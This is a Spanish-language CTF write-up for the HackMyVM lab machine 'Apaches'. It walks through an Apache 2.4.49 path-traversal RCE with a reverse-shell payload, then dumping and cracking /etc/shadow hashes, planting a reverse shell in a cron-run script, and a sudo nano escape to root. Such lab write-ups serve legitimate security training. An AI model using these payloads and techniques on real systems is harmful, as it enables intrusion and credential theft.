HackMyVM - Apaches
- Path Traversal & Remote Code Execution
- Brute Force Shadow Hashes
- Cron Job Abuse
- Leaked Credentials
- Abusing Nano Binary
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.14
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 bc95836ec46238b5a9940c14a3bf5734 (RSA)
| 256 07fa461acaf3dc082f728ce2f22e32e5 (ECDSA)
|_ 256 46ff72d567c51f87b1358429f3ade83a (ED25519)
80/tcp open http Apache httpd 2.4.49 ((Unix))
|_http-server-header: Apache/2.4.49 (Unix)
|_http-title: Apaches
| http-robots.txt: 1 disallowed entry
|_/
| http-methods:
| Supported Methods: HEAD GET POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: EB49C4A639D3960EE7DDD07BC9F832B7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP-TCP 80
Archivo robots.txt
Decodifico la cadena en base64.
❯ echo "IOKAnFlvdSBrbm93IHlvdXIgcGF0aCwgY2hpbGQsIG5vdyBmb2xsb3cgaXQu4oCdCi0tIFBvY2Fob250YXMg" | base64 -d;echo
“You know your path, child, now follow it.”
-- Pocahontas
Buscando información de Apache/2.4.49
he encontrado este exploit.
❯ bash poc.sh targets.txt /bin/sh "bash -c 'bash -i >& /dev/tcp/192.168.1.18/4444 0>&1'"
Ontengo la shell.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 57190
bash: cannot set terminal process group (650): Inappropriate ioctl for device
bash: no job control in this shell
daemon@apaches:/usr/bin$
Usando metodología básica veo el archivo shadow tiene permisos de lectura.
daemon@apaches:/$ ls -la /etc/shadow
ls -la /etc/shadow
-rw-r--r-- 1 root shadow 1434 Oct 10 2022 /etc/shadow
Ahora en mi máquina creo dos archivos, uno con el nombre passwd y otro con el nombre shadow. En el archivo passwd copio el contenido del fichero passwd de la máquina víctima.
geronimo:x:1000:1000:geronimo:/home/geronimo:/bin/bash
squanto:x:1001:1001:,,,:/home/squanto:/bin/bash
sacagawea:x:1002:1002:,,,:/home/sacagawea:/bin/bash
pocahontas:x:1003:1003:,,,:/home/pocahontas:/bin/bash
En el archivo shadow copio el contenido del fichero shadow de la máquina víctima.
geronimo:$6$Ms03aNp5hRoOuZpM$CoHMkl9rgA0jZR2D9FfGJms9dR8OZw5j0gimH0V14DJ/F2Xp2.Mun4ESEdoNMoPC5ioRuOCXgakCB2snc6yiw0:19275:0:99999:7:::
squanto:$6$KzBC2ThBhmbVBy0J$eZSVdFLsAfd8IsbcAaBzHp8DzKXETPUH9FKsnlivIFSCvs0UBz1zsh9OfPmKcX5VaP7.Cy3r1r5msibslk0Sd.:19274:0:99999:7:::
sacagawea:$6$7jhI/21/BZR5KyY6$ry9zrhuggELLYnGkMtUi0UHBdDDaOiIgSB9y9od/73Qxk/nQOSzJNo3VKzZYS8pnluVYkXhVvghOzNCPBx79T1:19274:0:99999:7:::
pocahontas:$6$ecLWB6Q6bVJrGFu8$KgkvUSbQzXB6v3aJuE9NMwVvs2a53APkgzSxPq.DWfgIYKbzN0svWT4VDYm/l2ku7lMGJ8dxKi1fGphRx1tO8/:19274:0:99999:7:::
Con unshadow creo el hash.
❯ unshadow passwd shadow > hash_users
Realizo fuerza burta a los hashes encontrados y encuentro la contraseña del usuario squanto.
❯ john hash_users --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes
Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
i*******e (squanto)
Me conecto como usuario squanto
❯ ssh squanto@192.168.1.14
>> >======> >> >=> >=> >=> >=======> >=>>=>
>>=> >=> >=> >>=> >=> >=> >=> >=> >=> >=> >=>
>> >=> >=> >=> >> >=> >=> >=> >=> >=> >=>
~ >=> >=> >======> >=> >=> >=> >=====>>=> >=====> >=>
7~ ~&. >=====>>=> >=> >=====>>=> >=> >=> >=> >=> >=>
G!J !75! ~G : >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=>
?~:B!. 5Y^!~^B. :~J& >=> >=> >=> >=> >=> >===> >=> >=> >=======> >=>>=>
.GG?~ B^...PB?!^ ?5 .
7&G: 7. JB7?7^.. ^&P&Y .7# If at first you don't succeed. Try, try again! Sometimes the second time returns more!
.GG. ~J. ?@5: :~. Y@@@@??!?#
:#~ ~Y~ JJ :77: .J&@#57: :&!.~Y .:
:&. ^P7 ^J::!7^.:!YJ!:.... Y@@@@@&J5@!
@7 Y5 :GP77~::~!~...:^:..:J#&#GPJ!:.PG
P@~B# ^B@G~^^!!~^^^^:...^7J7. ^BP^?:
^@@@@@&@#~7G5J7~::.:^~?JJ7~::^^~~~?B@@@@@&
&J!7?P#@B@@@B!:!?77???7!~~!!?J5PPP5YJ??YPYJ~.
?P :?B@&#@#?7!^^~?55Y7^:.. .^?J5Y^
?B^^^::.. ~G&@#YP#&@B!....::::^~75B&@@@@#G!
:&~J?P&@@G?7!^..BG!~7B@#5J7!!7?JPGBB#BB&&@@B^
!5 ##J?PY :JP& .@&G5JY5GG57^:... .~YBJ
~5 :P7!^ ..^ ~@P~~~BB7^:. .:~5G! .:!5B&@G!!.
.P ~PGB#5 P:5!B&7~:Y&#&B&&#GPY7!!?5B@@&G:
Y7 ^^ .5GGB! 5~!7:7!G:. 7B7?~^^?G#P!....:GP
.~^JJ^ . .G #..J ##! J#~..:. .7P#?^:.
!Y:^. ?. ~Y & 7 PJ!P7^@@&Y!^^. .J&Y
P! ~P @. : Y& 5GPJ#??~~?#G!!!7.
!? ^?J&.#J B##: . B7:. 5^
!!^.:!PP^ !G!&. 5^7?J ?#:~~^.:B^
.::..!? .!JG. &^ BG~.:@ .
JG!!^..5YYG5^ &..~Y&
.G...^?~ . JB! .
.G!7!:
squanto@192.168.1.14's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-128-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 01 Aug 2023 08:25:31 AM UTC
System load: 0.02 Processes: 126
Usage of /: 20.0% of 39.07GB Users logged in: 0
Memory usage: 15% IPv4 address for enp0s3: 192.168.1.14
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
143 updates can be installed immediately.
2 of these updates are security updates.
To see these additional updates run: apt list --upgradable
New release '22.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
squanto@apaches:~$
Después de realizar una búsqueda de archivos con permisos de escritura encuentro el archivo backup.sh
.
squanto@apaches:~$ find / -writable 2>/dev/null | grep -v -i -E 'proc|sys|dev|run'
/home/sacagawea/Scripts/backup.sh
Enumerando tareas cron veo que el usuario sacagawea lanza backup.sh
cada 5 segundos.
squanto@apaches:~$ cat /etc/*crontab
#* 5 * * * * su sacagawea -c "./home/sacagawea/Scripts/backup.sh"
Sabiendo esto y que tengo permisos de escritura añado el siguiente código al archivo backup.sh
.
bash -c "bash -i >& /dev/tcp/192.168.1.18/1337 0>&1"
Ahora espero un poco y obtengo una shell como usuario sacagawea.
❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 59398
bash: cannot set terminal process group (42495): Inappropriate ioctl for device
bash: no job control in this shell
sacagawea@apaches:~$ id
id
uid=1002(sacagawea) gid=1002(sacagawea) groups=1002(sacagawea),1004(Lipan)
Navegando en el home de sacagawea encuentro el directorio admin.
Dentro de admin el archivo 2-check.php
encuentro unas credenciales.
Me conecto como usuaria pocahontas.
sacagawea@apaches:~/Development/admin$ su pocahontas
Password:
pocahontas@apaches:/home/sacagawea/Development/admin$ id
uid=1003(pocahontas) gid=1003(pocahontas) groups=1003(pocahontas)
Enumero permisos de sudo.
Matching Defaults entries for pocahontas on apaches:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pocahontas may run the following commands on apaches:
(geronimo) /bin/nano
Con el siguiente recurso de gtfobins consigo una shell como usuario geronimo.
pocahontas@apaches:~$ sudo -u geronimo /bin/nano
ctrl+R ctrl+X
reset; bash 1>&0 2>&0
geronimo@apaches:/home/pocahontas$ id
uid=1000(geronimo) gid=1000(geronimo) groups=1000(geronimo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
Enumero de nuevo permisos de sudo.
geronimo@apaches:~$ sudo -l
Matching Defaults entries for geronimo on apaches:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User geronimo may run the following commands on apaches:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
Obtengo el root de la siguiente forma.
geronimo@apaches:~$ sudo su
root@apaches:/home/geronimo# id
uid=0(root) gid=0(root) groups=0(root)
Y aquí termina la máquina Apaches.
Saludos!